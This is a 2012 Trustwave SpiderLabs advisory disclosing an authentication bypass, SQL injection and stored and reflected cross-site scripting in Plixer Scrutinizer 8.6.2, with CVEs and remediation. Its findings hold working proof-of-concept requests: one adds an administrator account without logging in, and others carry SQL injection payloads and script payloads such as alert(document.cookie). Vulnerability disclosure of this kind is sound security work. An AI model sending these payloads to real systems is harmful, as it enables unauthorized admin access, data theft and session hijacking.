Trustwave SpiderLabs Security Advisory TWSL2012-008: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer https://www.trustwave.com/spiderlabs/advisories/TWSL2012-008.txt Published: 04/11/12 Version: 1.0 Vendor: Plixer International (http://www.plixer.com) Product: Scrutinizer NetFlow and sFlow Analyzer Version affected: 8.6.2 (8.6.2.16204) confirmed; others may be vulnerable Product description: Network analysis tool for monitoring the overall network health and reports on which hosts, applications, protocols, etc. that are consuming network bandwidth. Credit: Tanya Secker of Trustwave SpiderLabs Finding 1: HTTP Authentication Bypass Vulnerability CVE: CVE-2012-1258 The Scrutinizer web console provides a form-based login facility, requiring users to authenticate to gain access to further functionality. A tiered user access model is also used, where administrative and standard users have a different selection of permissible functions. Authentication and authorization is controlled by the cookie-based session management system. Although this is implemented in a standardized way, the session tokens are not required to perform privileged functions, such as adding users. Example: This request will add a user named "trustwave" with the password of "trustwave" to the administrative user group. #Request GET /cgi-bin/userprefs.cgi?newUser=trustwave&pwd=trustwave&selectedUserGroup=1&= HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive #Response HTTP/1.1 200 OK Date: Thu, 17 Nov 2011 10:19:25 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 19 {"new_user_id":"9"} Finding 2: SQL Injection CVE: CVE-2012-1259 The Scrutinizer web console is prone to unauthenticated SQL Injection attacks due to user input not being appropriately validated and passed directly to the backend. An attacker could exploit this vulnerability to attempt to gain access to sensitive information within the database or to perform other attacks on the system. Example 1: These requests/responses below show a blind SQL injection vector, where a proof of concept is used to return a syntactically correct response from the server (200 OK) followed by an incorrect one (500 Internal Server Error). #Request 1 GET /cgi-bin/scrut_fa_exclusions.cgi?name%3anew28%3a28=on&name%3anew7%3a7=on&name%3anew27%3a27=on&name%3anew13%3a13=on&standalone=&name%3anew5%3a5=on&name%3anew14%3a14=on&name%3anew9%3a9=on&user_id=&name%3anew23%3a23=on&name%3anew17%3a17=on&name%3anew11%3a11=on&name%3anew24%3a24=on&addip=')%20AND%20('a'='a&name%3anew18%3a18=on&name%3anew21%3a21=on&name%3anew19%3a19=on&name%3anew22%3a22=on&nbaupdate=1&name%3anew12%3a12=on&name%3anew25%3a25=on&name%3anew2%3a2=on&name%3anew1%3a1=on&name%3anew10%3a10=on&name%3anew15%3a15=on&name%3anew26%3a26=on&name%3anew4%3a4=on&name%3anew6%3a6=on HTTP/1.1 Host: 127.0.0.1 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://127.0.0.1/cgi-bin/scrut_fa_exclusions.cgi #Response 1 HTTP/1.1 200 OK Date: Tue, 31 Jan 2012 23:51:46 GMT Server: Apache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 230 #Request 2 GET /cgi-bin/scrut_fa_exclusions.cgi?name%3anew28%3a28=on&name%3anew7%3a7=on&name%3anew27%3a27=on&name%3anew13%3a13=on&standalone=&name%3anew5%3a5=on&name%3anew14%3a14=on&name%3anew9%3a9=on&user_id=&name%3anew23%3a23=on&name%3anew17%3a17=on&name%3anew11%3a11=on&name%3anew24%3a24=on&addip=')%20ANffD%20('a'='a&name%3anew18%3a18=on&name%3anew21%3a21=on&name%3anew19%3a19=on&name%3anew22%3a22=on&nbaupdate=1&name%3anew12%3a12=on&name%3anew25%3a25=on&name%3anew2%3a2=on&name%3anew1%3a1=on&name%3anew10%3a10=on&name%3anew15%3a15=on&name%3anew26%3a26=on&name%3anew4%3a4=on&name%3anew6%3a6=on HTTP/1.1 Host: 127.0.0.1 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://127.0.0.1/cgi-bin/scrut_fa_exclusions.cgi #Response 2 HTTP/1.1 500 Internal Server Error Date: Tue, 31 Jan 2012 23:52:18 GMT Server: Apache Last-Modified: Fri, 17 Dec 2010 02:01:03 GMT ETag: "900000001d93e-448-497918ae295c0" Accept-Ranges: bytes Content-Length: 1096 Vary: Accept-Encoding Connection: close Content-Type: text/html Example 2: The "getPermissionsAndPreferences" variable within the following request is also vulnerable to a blind time-based attack. The example payload included will result in the server taking a delay of approximately five seconds before returning a response. #Request http://127.0.0.1/cgi-bin/login.cgi?getPermissionsAndPreferences=1%20AND%20SLEEP(5)&session_id=OyAOiECuFdtRbEBY&nocache=12_13_12_734 Example 3: It should be noted that the other area referenced below returns SQL errors when a comment character is introduced into the bolded parameters and may therefore also indicate that they are vulnerable to SQL injection. The below request demonstrates this activity. #Request http://127.0.0.1/d4d/alarms.php?loadAlarms=1&user_id=1&step=10&page=0&search_str=test&column=msg&fa_algorithm=all&order=modified_ts Finding 3: Persistent Cross-site Scripting CVE: CVE-2012-1260 The Scrutinizer web console stores unmodified user-supplied parameters within its database. No input validation or character encoding is performed, resulting in the possibility of client-supplied variables forming aspects of page content in such a way as to affect the syntax of the HTML content. Example: The below requests/response demonstrate how an attacker could use this to implant arbitrary Javascript via the "newUser" parameter. #Request 1 GET /cgi-bin/userprefs.cgi?newUser=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&pwd=guest2&selectedUserGroup=1&= HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Content-Length: 6 Accessing the "Admin" Panel using the below URL results in the stored JavaScript executing in the browser. It is noted that due to the previous flaw documented above this may also be executed unauthenticated and results in the disclosure of all user group names and IDs, along with all usernames and userids stored in the application. This is achieved via the following URL: #Request 2 http://127.0.0.1/cgi-bin/userprefs.cgi?menu=1&nocache=5_26_33_895 #Response 2 HTTP/1.1 200 OK Date: Thu, 17 Nov 2011 10:40:34 GMT Server: Apache Vary: Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 276 {"groups":[{"name":"<script>alert(2)</script>","id":"4"},{"name":"<script>alert(document.cookie)</script>","id":"3"},{"name":"Administrators","id":"1"},{"name":"Guests","id":"2"}],"users":[{"name":"\"><script>alert(1)</script>","user_id":"12"},{"name":"admin","user_id":"1"}]} Finding 4: Reflected Cross-site Scripting CVE: CVE-2012-1261 The Scrutinizer web console suffers from a Cross Site Scripting vulnerability in the 'standalone' variable of the 'cgi-bin/scrut_fa_exclusions.cgi' page. No input validation or character encoding is performed, resulting in the possibility of client-supplied variables forming aspects of page content in such a way as to affect the syntax of the HTML content. Example: The below request demonstrates the reflective cross-site scripting vulnerability by supplying arbitrary JavaScript to the standalone variable. #Request GET /cgi-bin/scrut_fa_exclusions.cgi?init=1&standalone="><script>alert('xss')</script> HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://127.0.0.1/cgi-bin/myview.cgi?init=1 Content-Length: 4 Note: Only one example of each vulnerability is provided but the problem is categorized as "systemic" due to the potential to store or render script code within multiple similar regions, such as in user group and alarm areas, respectively. Vendor Response: The vendor has declined to comment on these findings. These issues appear to have been fixed in version 9.0.1. Remediation Steps: Plixer International appeared to address all issues in version 9.0.1 (9.0.1.19899). It is strongly recommended that the latest stable version is installed. Additionally, Trustwave SpiderLabs has added rules to the ModSecurity Commercial Rules Feed for these issues, and Trustwave's vulnerability scanning solution, TrustKeeper, has been updated to detect all findings. References 1. http://www.plixer.com 2. http://blog.spiderlabs.com Vendor Communication Timeline: 2/15/12: Attempted to contact vendor regarding vulnerability Repeated attempts throughout February and March without response 04/11/12 - Released after confirming fix in version 9.0.1 (9.0.1.19899) About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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